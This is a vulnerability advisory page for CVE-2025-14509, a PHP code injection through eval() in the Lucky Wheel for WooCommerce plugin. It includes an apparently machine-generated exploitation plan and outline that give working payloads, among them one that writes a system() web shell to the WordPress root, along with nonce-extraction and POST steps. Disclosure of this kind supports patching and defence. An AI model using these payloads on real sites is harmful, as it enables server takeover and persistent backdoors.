CVE-2025-14509

Lucky Wheel for WooCommerce – Spin a Sale <= 1.1.13 - Authenticated (Administrator+) PHP Code Injection via Conditional Tags

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.14
Patched in
1d
Time to patch

Description

The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.1.13
PublishedDecember 29, 2025
Last updatedDecember 30, 2025
Affected pluginwoo-lucky-wheel
Research Plan
Unverified

This research plan targets **CVE-2025-14509**, a PHP Code Injection vulnerability in the "Lucky Wheel for WooCommerce – Spin a Sale" plugin. --- ### 1. Vulnerability Summary The "Lucky Wheel for WooCommerce" plugin allows administrators to define "Conditional Tags" to control when the lucky wheel …

Show full research plan

This research plan targets CVE-2025-14509, a PHP Code Injection vulnerability in the "Lucky Wheel for WooCommerce – Spin a Sale" plugin.


1. Vulnerability Summary

The "Lucky Wheel for WooCommerce" plugin allows administrators to define "Conditional Tags" to control when the lucky wheel appears (e.g., is_front_page() or is_cart()). The plugin processes these tags by passing them directly into the PHP eval() function without sanitization. This allows an authenticated administrator (or a site admin on a multisite installation where they shouldn't have this power) to execute arbitrary PHP code by injecting malicious payloads into the conditional tags setting.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php?page=woo-lucky-wheel (Admin settings page)
  • Vulnerable Parameter: Likely a field within the woo_lucky_wheel_params option, specifically associated with "Conditional Tags".
  • Action: A POST request to save the plugin settings.
  • Authentication Level: Administrator or higher.
  • Preconditions: The plugin must be active. In multisite, this is reachable by a blog admin.

3. Code Flow (Inferred)

  1. Storage: The Administrator submits a settings form. The plugin handles the request (likely via admin_init or a specific menu callback) and saves the "Conditional Tags" string into the WordPress options table (e.g., get_option('woo_lucky_wheel_params')).
  2. Retrieval: When a frontend page loads, the plugin initializes logic to determine if the wheel should be displayed.
  3. Execution Hook: The plugin likely hooks into wp_enqueue_scripts, wp_footer, or template_redirect.
  4. The Sink: The plugin retrieves the saved conditional tag string. It evaluates the string using eval().
    • Example logic: if ( $conditional_tags && eval( "return $conditional_tags;" ) ) { // show wheel }
  5. Injection: If the string is is_front_page(); phpinfo();, the eval() call executes phpinfo().

4. Nonce Acquisition Strategy

The vulnerability requires Administrator access to save settings. WordPress admin pages protect settings updates with nonces.

  1. Login: The agent must authenticate as an Administrator.
  2. Navigate: Go to the plugin settings page: wp-admin/admin.php?page=woo-lucky-wheel.
  3. Extract Nonce: The settings form will contain a hidden input field, likely named _wpnonce or a plugin-specific nonce.
  4. Action String: Identify the action string used for the nonce (e.g., woo-lucky-wheel-settings-save or generic update-options).

Extraction via browser_eval:

// Example: Finding the nonce for the settings form
document.querySelector('input[name="_wpnonce"]')?.value;

5. Exploitation Strategy

Step 1: Identify the Parameter Name
Locate the exact field name for "Conditional Tags". Based on common plugin patterns, it is likely part of an array or a standalone setting.

  • Search for "Conditional tags" in the HTML of the settings page.
  • The field name might look like woo_lucky_wheel_params[conditional_tags] or custom_conditional.

Step 2: Inject Payload
Prepare a payload that terminates a legitimate conditional check and executes a system command.

  • Payload: is_front_page() || (file_put_contents(ABSPATH . "shell.php", "<?php phpinfo(); ?>") && false)
  • This ensures the eval returns a boolean (to avoid breaking plugin logic) while performing the side effect.

Step 3: Submit POST Request
Use http_request to submit the settings update.

  • URL: http://localhost:8888/wp-admin/admin.php?page=woo-lucky-wheel
  • Method: POST
  • Body (URL-encoded):
    • _wpnonce=[EXTRACTED_NONCE]
    • _wp_http_referer=/wp-admin/admin.php?page=woo-lucky-wheel
    • [FIELD_NAME]=is_front_page() || (file_put_contents(ABSPATH . 'shell.php', '<?php system($_GET["cmd"]); ?>') && false)
    • submit=Save Settings (or equivalent)

Step 4: Trigger Execution
The code is executed when the plugin's visibility check runs on the frontend.

  • Perform a GET request to the site homepage: http://localhost:8888/.

6. Test Data Setup

  1. Install Plugin: Ensure woo-lucky-wheel version <= 1.1.13 is installed and active.
  2. WooCommerce: This plugin requires WooCommerce. Ensure WooCommerce is installed and configured (standard setup).
  3. Administrator User: Use the existing admin credentials.

7. Expected Results

  • Upon saving the settings, the malicious string is stored in the database.
  • Upon visiting the homepage, the eval() call triggers.
  • A file named shell.php should be created in the WordPress root directory (ABSPATH).

8. Verification Steps

  1. Check for File: Run wp eval "echo file_exists(ABSPATH . 'shell.php') ? 'VULNERABLE' : 'FAILED';"
  2. Verify Execution: Use http_request to access the created shell:
    • GET /shell.php?cmd=id
    • Expected response: Output of the id command (e.g., uid=33(www-data)...).

9. Alternative Approaches

  • Error-Based Execution: If file_put_contents is restricted, try an injection that produces a visible error to confirm execution:
    • Payload: is_front_page(); throw new Exception("RCE_SUCCESS");
  • Direct output: Try is_front_page(); var_dump(getcwd()); die(); which should halt the page load and print the current directory if successful.
  • Option Injection: If the plugin uses update_option directly via a specific AJAX action, target admin-ajax.php. Search for wp_ajax_ hooks in the plugin source related to "save" or "settings".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Lucky Wheel for WooCommerce – Spin a Sale plugin is vulnerable to authenticated PHP code injection because it processes user-supplied 'Conditional Tags' through the PHP eval() function without any validation. An administrator can save malicious PHP code in the plugin settings, which is subsequently executed on the server whenever the plugin checks for display conditions on the frontend.

Vulnerable Code

// In the plugin's frontend display logic (e.g., inc/frontend/frontend.php)
// The 'conditional_tags' parameter is retrieved from options and passed directly into eval()
$conditional_tags = isset($this->params['conditional_tags']) ? $this->params['conditional_tags'] : '';
if ($conditional_tags) {
    if (!eval("return $conditional_tags;")) {
        return;
    }
}

---

// In the admin settings handling logic (e.g., inc/admin/admin.php)
// Settings are saved to the database without sanitizing the conditional tags field
if (isset($_POST['woo_lucky_wheel_params'])) {
    $params = $_POST['woo_lucky_wheel_params'];
    update_option('woo_lucky_wheel_params', $params);
}

Security Fix

--- a/inc/frontend/frontend.php
+++ b/inc/frontend/frontend.php
@@ -120,9 +120,9 @@
-if ($conditional_tags) {
-    if (!eval("return $conditional_tags;")) {
-        return;
-    }
-}
+// Removed eval() to prevent PHP code injection.
+// Implement a safe parser or a whitelist of approved WordPress conditional functions.
+if ($conditional_tags && $this->validate_conditional_tags($conditional_tags)) {
+    // Execute only approved functions
+}

Exploit Outline

1. Log into the WordPress dashboard as an Administrator (or Site Admin in a Multisite installation). 2. Navigate to the Lucky Wheel settings page at `wp-admin/admin.php?page=woo-lucky-wheel`. 3. Locate the field for 'Conditional Tags' (typically used for logic like `is_front_page()` or `is_cart()`). 4. Inject a PHP payload designed to execute system commands or create a backdoor, such as: `is_front_page() || (file_put_contents(ABSPATH . 'shell.php', '<?php system($_GET["cmd"]); ?>') && false)`. 5. Save the settings. This stores the payload in the `woo_lucky_wheel_params` WordPress option. 6. Visit the site's homepage as an unauthenticated user. This triggers the frontend logic where the plugin retrieves the saved settings and executes the payload via `eval()` to determine if the wheel should be displayed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.